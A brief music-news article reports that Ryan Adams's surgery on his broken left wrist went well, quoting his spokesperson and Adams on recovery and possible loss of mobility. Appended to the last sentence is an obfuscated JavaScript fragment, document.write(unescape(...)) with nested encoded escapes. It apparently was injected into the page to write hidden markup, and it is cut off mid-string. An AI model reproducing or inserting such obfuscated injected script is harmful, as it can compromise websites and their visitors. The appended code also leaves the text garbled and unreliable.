Ryan Adams wrist op a success

The surgery on Ryan Adams broken left wrist has been "successful", according to doctors.

Adams has undergone surgery to repair a broken left wrist after a fall from the stage at the Liverpool Royal Court. All shows in Europe and the US were cancelled as a result.

A spokesperson for the star told us that Adams is out of hospital and being looked after at home.

He said: "Ryan is out of surgery and in the recovery room. The doctor said the operation went well. They are releasing him to girlfriend Parker (Posey)'s care. He's got a big cast on his arm."

The star was rushed to the Royal Liverpool Hospital for treatment. He was kept in overnight and then made a trip to London to see a specialist on January 23 where the decision was made to fly back to New York to recover. The initial diagnosis is that it could take two months to set the bone, and Adams could lose up to 20 per cent of the mobility in his wrist.

Adams commented: "They said it'll take at least six weeks or two months. That's for the bones to take. They might have to wire it together with metal wires. The guess now is that I could lose up to 20 per cent of the mobility in my wrist. That's the percentage I won't be able to bend it any more. My fingers and hand will be fine but I'll have to re-train my wrist. We'll see about guitar but it might make me a great piano player! I have a feeling I'll be able to pull through. It's all about making sure I can get my wrist about a guitar."

Ryans next single is 'This Is It', released on March 23.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;
